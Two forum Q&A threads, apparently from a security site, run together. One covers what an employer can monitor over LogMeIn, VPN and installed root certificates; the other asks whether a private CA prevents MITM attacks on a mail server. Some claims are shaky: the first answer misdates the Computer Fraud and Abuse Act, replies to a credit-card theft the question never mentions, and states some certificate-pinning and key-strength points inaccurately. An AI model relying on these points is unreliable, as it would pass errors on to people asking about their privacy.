Are they able to hear me or see me while I'm connected. I cover the camera part because I have kids and the camera scares me. But I'm also concerned about if they can hear me since I do talk to my kids in the morning while they get ready for school. Like you'd talk to another coworker walking by. They know not to interrupt me. (I also may talk to my dog or sing here and there....) lol

A lady from work uses her cellular data at work when she texts/iMessages because she said if using the company's wifi they can see exactly what she's saying. True? How about with my remote connection?

I'm thinking of getting a separate computer just for work, but am afraid that my current computer is still accessible to them even when not connected to the remote server... Maybe through my internet connection?  it's the one that has all my stuff on it.

Is there any program I can look for that will detect any spying on my home computer. They use LogMeIn when connected to the remote server.

Thank you in advance to anyone who takes the time to read this and answer any of the questions or give advice.
THANK YOU!!

You left out a very important detail:  how you connect to your employer's computer system to do your work.  I believe you are using LogMeIn, but if not, that would change the answers.

If you are only connecting to a remote desktop (using a product like LogMeIn, Microsoft Terminal Services, RDP, VNC, or Citrix), then no, your employer cannot see into your computer.  Based on your description, I believe this to be the case so you should be well insulated from them.  Depending on the remote desktop product, they may or may not have access to your camera and microphone, but usually those are under your control.  (These devices are commonly made available so you can run your company's IM software like Skype.)  If in doubt, leave your camera covered.

The fact that your credit card number was stolen is purely coincidence; the number and extent of retail and hotel data breaches in the past three years is astounding, and fraud has impacted the vast majority of cardholders.  People have either been wrongly charged, or their cards were among those stolen and the bank sent a replacement before the old card expired.

So to list the answers:

No, you're safe.
Yes, but only in a way you would know.  In the US, it would be illegal to audio monitor you without notifying you of the monitoring (although video monitoring may be legal!)  But you should probably check your work contract or employment policy to make sure you haven't agreed to audio monitoring as a condition of employment.
At home, this is not true and your personal browser is not subject to company monitoring.  (The browser on your LogMeIn desktop is subject to monitoring, of course.)  At work, this is partly true; if your coworker's iPhone uses the company WiFi, their WiFi data passes through the company network and is likely subject to logging or monitoring.  The reason I say it's partly true is that the company can monitor all unencrypted traffic, but not the contents of encrypted traffic, such as iMessages.  The logs can reveal that the iPhone set data to a server at Apple that is known to handle iMessages, but they have no way of knowing to whom it was sent or what it contained. But see the cautionary note below: **
No.  If you have a work computer on your home network, the only way they could get to your home computer without your explicit permission would be to hack it, which would violate the Computer Fraud And Abuse Act of 1984.  That's a federal crime.
Most anti-virus software is useless when it comes to commercial spyware that you're thinking of.  But product recommendations are off topic for this site.

If you are not using LogMeIn, and you are connecting to a VPN tunnel at your work, so your personal computer is actually joined to their network, then the answer is different.  They then have access that is not blocked by any firewall in your home; only your Windows Firewall would prevent them from viewing your machine.  Also, in this case, any traffic from your desktop applications to the internet would pass through their network, where it would be subject to inspection and interception.

** If your employer gave you a Trusted Root certificate to install, they will have the ability to view the contents of your secure https connections.  (On the iPhone installing root certificates is done by installing a "profile"; this may be done under the guise of installing some work-provided required "security software", like AirWatch.)  The root certificate would allow them to operate a transparent https proxy (like Blue Coat); these proxies work by dynamically generating certificates that your new root certificate happily authenticates, allowing their proxy to inspect your traffic.  This is normally detectable by viewing the certificate details in your browser; but viewing certificates is not possible on the iPhone version of Safari.

Trusted Root attacks like this can be thwarted if an application performs "certificate pinning", but browsers can't do pinning, and very few apps take this step when connecting to their home servers.


Using self-signed certificates for your mail server I have read multiple Q&A's on this topic from here and other SE sites. They all mention self-signed certs are not recommended due to MITM attacks. However, I haven't found anything with mention of creating your own CA and issuing certs for your servers.

My question expands on this topic, as I want to know if creating your own CA and issuing certs for your server reduces the possibility of a MITM attack. I would keep the CA private key locally to prevent anyone from generating additional certs. By being my own CA, I can verify in the certificate that it is indeed me who generated it and that the traffic is not "spoofed". I would copy the CA pub key to all my devices so the warning message wouldn't pop up anymore.

Although this brings up another question, can the attack create his own CA using my information entered, and generate a SSL key too to trick me? How does having a signed certificate differ at this point?

It seems to me that being your own CA or using a trusted CA does not differ much if the attacker has control of the mail server.

My understanding in regards to the first question is yes, it's safer to use a CA.

Regarding the second question, the attacker would have to create a key that had the same public key as your CA. This is hard, and gets harder with the size of your CA. Basically you only have to worry about a government or multinational corporation. The only difference between your private CA and Verisign's CA is in how securely the CA was generated & is stored (NOT insignificant) and the fact that Verisign is paying Firefox et al to preinstall their CA.

The best intro tutorial on SSL I've found has been available for many years and is still current: http://www.vanemery.com/Linux/Apache/apache-SSL.html